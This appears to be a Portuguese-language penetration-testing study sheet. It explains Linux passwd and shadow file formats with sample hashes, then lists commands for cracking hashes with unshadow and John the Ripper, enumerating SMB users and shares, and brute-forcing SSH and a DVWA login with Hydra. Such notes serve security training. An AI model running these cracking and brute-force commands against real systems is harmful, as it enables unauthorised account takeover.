Quebra de senha em sistemas Linux
Toda conta no sistema Linux tem uma entrada no arquivo '/etc/passwd'. Este arquivo contém entradas, uma linha por usuário, que especificam diversos atributos para cada conta. Cada entrada neste arquivo tem o mesmo formato, com campos separados por dois pontos ":"
usuário:senha:UID:GID:NomeReal:/diretório/pessoal:shell
Exemplo de arquivo '/etc/passwd':
root:x:0:0:root:/root:/bin/bash
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
fulano:x:500:500:Fulano da Silva:/home/fulano:/bin/bash
siclano:x:501:501:Siclano Souza:/home/siclano:/bin/bash
"x": hash da senha omitida, conteúdo no arquivo /etc/shadow
O arquivo '/etc/shadow' armazena as senhas em um formato criptografado, com algumas informações adicionais relacionadas as senhas dos usuários. Contém uma entrada por linha, separada em campos, para cada usuário definido no '/etc/passwd'.
usuário:senha:última alteração:mínimo:máximo:aviso de expiração:inativo:expiração:
Exemplo de arquivo '/etc/shadow':
root:$6$utLIMf6gY40$Eoe.2M7uqTK1UBtnz3yz4T:14768:0:99999:7:::
daemon:*:14715:0:99999:7:::
lp:*:14715:0:99999:7:::
shutdown:*:14715:0:99999:7:::
ftp:*:14715:0:99999:7:::
nobody:*:14715:0:99999:7:::
postgres:!!:14855::::::
fulano:$6$nsd3oKxkg0$kIEvBac347MZXYfOnrc56ybz:14768:0:99999:7:::
siclano:$6$AaNgoXJSPsv/$cupVfet0y4cIYLpPSWyNQM:14771:0:99999:7:::
beltrano:$6$Qc3AYPleBx0$ikGowHMwzkqRz9QGZzQfwfu:14770:0:99999:7:::
A string completa com o hash, que representa a senha, é armazenada no arquivo '/etc/shadow' no formato $ID$SALT$SENHA. O caractere "$" (cifrão) delimita cada item da string. Por exemplo a linha a seguir (Nota: há uma quebra de linha no meio do hash para facilitar a apresentação, no arquivo é somente uma única linha):
nome_do_usuário:
$6$eKn9QGMQ$Ofi1OoClVpw/cCbTsD4YUKgfurcQoBxsZ9Tlk5VBjTpAjSYFt.M9shPtQVnouNr4/3PRDP/eMqkoWQpuBxsRk1:15362:0:99999:7:::
Unshadow
unshadow <arq passwd> <arq shadow> > <arquivo>
unshadow /etc/passwd /etc/shadow > unshadow
Em seguida utiliza o john para descobrir a senha com:
john <unshadow>
Enumeração SMB
O serviço de compartilhamento de arquivo, por padrão esta sendo executado na porta 445. Se mal configurado, permitindo NULL SESSION, pode ser útil para enumerar usuários e compartilhamentos
Ferramentas:
ENUM4LINUX
enum4linux [options] ip
enum4linux -U 192.168.0.33 → Enumera usuários
enum4lilnux -S 192.168.0.33 → Enumera compartilhamentos
Compartilhamento de Arquivos SMB
RPCClIENT
rpcclient -U <qualquer usuário> <ip>
rpcclient -U Teste 192.168.0.33
enumdousers → Usuários
NMAP
nmap --script smb-enum-users.nse -p445 <ip> → Usuários
nmap --script smb-enum-shares.nse -p445 <ip> → Compartilhamentos
SMBCLIENT
smbclient -L //<ip>/ -U <qualquer usuário> → Compartilhamentos
smbclient -L //192.168.0.33/ -U Teste
Hydra
Realiza ataque de dicionário a serviços.
Comando:
hydra -l <login> -p <senha> <IP> <serviço>
hydra -l root -p 12345 10.0.2.2 ssh
Podemos passar um dicionário de logins e senhas com o parâmetro -L e -P
hydra -L <arquivo_login> -P <arquivo_senha> <IP> <serviço>
hydra -L login.txt -P senha.txt 10.0.2.2 ssh
Podemos utilizar hydra para formulários web:
hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.52.133 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
John the Ripper(JtR)
John the Ripper é um utilitário que faz quebra de senhas através de três modos:
- WordList → Ele tenta por uma Wordlist, testando as combinações de senha/usuário.
- Single Crack → Ele tenta quebrar a senha usando as informações de login.
- Incremental → Sendo o modo mais robusto no John the Ripper, ele tentará cada caractere possível até achar a senha correta. E por este motivo, é indicado o uso de parâmetros com o intuito de reduzir o tempo de quebra.
É necessário ter o arquivo contendo os hash das senhas do usuário(SAM ou shadow)
Comando:
john <arquivo> --wordlist=dicionario.txt
john <arquivo> --wordlist=dicionario.txt --format=NT
john <arquivo> --single
john <arquivo> --incremental
Senhas quebradas são armazenadas no arquivo:
<home_do_usuário)>/.john/john.pot